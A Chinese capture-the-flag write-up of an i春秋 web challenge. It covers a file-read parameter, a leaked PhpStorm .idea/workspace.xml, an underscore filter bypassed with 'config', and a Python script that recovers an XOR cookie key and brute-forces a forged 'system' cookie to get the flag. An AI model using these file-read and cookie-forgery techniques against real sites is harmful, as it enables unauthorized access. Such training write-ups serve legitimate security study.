Code

打开是

一幅很唯美的穹妹图,咳咳!说正题,哥哥与妹妹。。。。。。不对不对,这里是web题!

观察url我们发现后缀是/index.php?jpg=hei.jpg,很明显这是一个文件读取的操作,我们直接看hei.jpg我网页发现是个很长很长的连接,根据提示是个base64代码,所以我们打开bp使用decode解码发现是个乱码

hei.jpg修改为index.php试试

查看源码,点进去又是一段神秘code,根据提示将其复制到bp中使用decode解码后得到一段php代码

读一下这个代码,给出信息,基于phpstorm,数据是15年的,时间是1.31,然后是正文,如果jpg为空就执行header函数,file等于GET类型传入的jpg,打印一段代码,然后又分别执行两个关于file的函数变值函数,然后txt等于file_get_contents$file)的解码,再打印出图片信息,最后提问你能找到flag文件吗?

根据created by phpstorm我们了解到用PhpStorm写的,这个软件写的时候会生成一个.idea的文件夹,它存储了项目的配置文件,一般还存在workspace.xml,所以这里直接将连接修改为

http://9210c9386e0c4ba4aabbffc4f4e812d300eeae9d2de44bac.changame.ichunqiu.com/.idea/workspace.xml

得到一个配置界面,找到关键信息

此地无银三百两,直接访问fl3g....后缀的

http://9210c9386e0c4ba4aabbffc4f4e812d300eeae9d2de44bac.changame.ichunqiu.com/fl3g_ichuqiu.php

╮(╯▽╰)╭。。。。看看源码╮(╯▽╰)╭。。。。可能哪出错了

试试index.php?jpg=fl3g_ichuqiu.php发现也不得行

最后搜了下发现_被过滤了。。。。要使用config代替

使用

http://9210c9386e0c4ba4aabbffc4f4e812d300eeae9d2de44bac.changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php

查看源码,又是一堆base64加密的,我们继续用bpdecode

得到另一段php代码

这段代码读了好久,分开来看能看懂,但由于太多了就没怎么理解整段的意思,这里去翻了下zy731dalao的解释:获取key,使得key$_COOKIE['user']的解密结果为system,而获取key则是通过浏览器向服务器请求“抱歉”表情界面的url,服务器就会向浏览器返回一个固定的cookie值:encrypt('guest',$key),则cookie值就是明文“guest”与key(5)加密的结果(guestkey异或得到cookie,那么guestcookie异或可以得到key)得到5位的key后,可以爆破第六位的key,只要用得到的5key连接上构造的第六位key,与“system”进行加密得到的user变量的cookie值去请求相应的url,通过服务器反馈的内容含有“flag”关键字符,则说明构造的第六位key值正确,从而可以得到六位的key以及flag的内容。

然后通过py脚本来获取flag

这里附上dalao的脚本(写的好详细)

# _*_ coding: utf-8 _*

import requests

import string

from base64 import *


#返回“抱歉”表情的url

url="http://f919a9d8de2948959913b22f7a6fce6f0ebfac64b4324ba5.changame.ichunqiu.com/fl3g_ichuqiu.php"

#请求该url,获取服务器返回的user变量的cookie值,即encrypt('guest',$key)

cookie=requests.get(url).cookies['user']

#将密文cookie进行base64解码

txt=b64decode(cookie)

rnd=txt[:4] #密文的前4位字符为随机字符

ttmp=txt[4:]#ttmp为'guest'与key进行异或的密文值,ttmp与'guest'的位数一样,为5位

keys=list('xxxxxx') #六位key的初始字符串

guest=list('guest')#guest明文内容

system=list('system')

for i in range(len(guest)):

guest[i]=chr(ord(guest[i])+10)#guest明文的ascii码加10,为guest加密做准备(encrypt('guest',$key))

for i in range(len(guest)):

keys[i]=chr(ord(ttmp[i])^ord(guest[i]))#ttmp为'guest'与key进行异或的密文值,则ttmp与guest异或为keys

for i in range(len(system)):

system[i]=chr(ord(system[i])+10)#system的ascii码加10,为system加密做准备

letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'#第六位key的爆破字符

ttmp_new='' #system与keys的异或值

cookie_system=[]

str=''

for ch in letters:

keys[5]=ch

for i in range(len(system)):

ttmp_new +=chr(ord(system[i])^ord(keys[i]))

str=rnd+ttmp_new #随机字符与异或结果进行拼接

cookie_system.append(b64encode(str)) #将拼接结果进行base64加密,得到flag界面的cookie值,并将其填充到字典cookie_system中

ttmp_new=''#爆破一次,就将ttmp_new初始化一次

#

# print cookie_system #输出所有可能的key爆破得到的cookie值

for i in cookie_system:

cookies={'user':i} #cookie变量为user,值为i

res=requests.get(url,cookies=cookies) #用所有的cookie值去尝试访问服务器,得到的反馈为res

if 'flag' in res.content:#如果反馈的内容含有‘flag’关键字,则说明请求的cookie正确,即keys爆破成功

#print cookie_system[i] #输出正确的cookie值

print res.content #输出服务器反馈的内容,即flag

获得flag

原文地址:https://www.cnblogs.com/wosun/p/11240995.html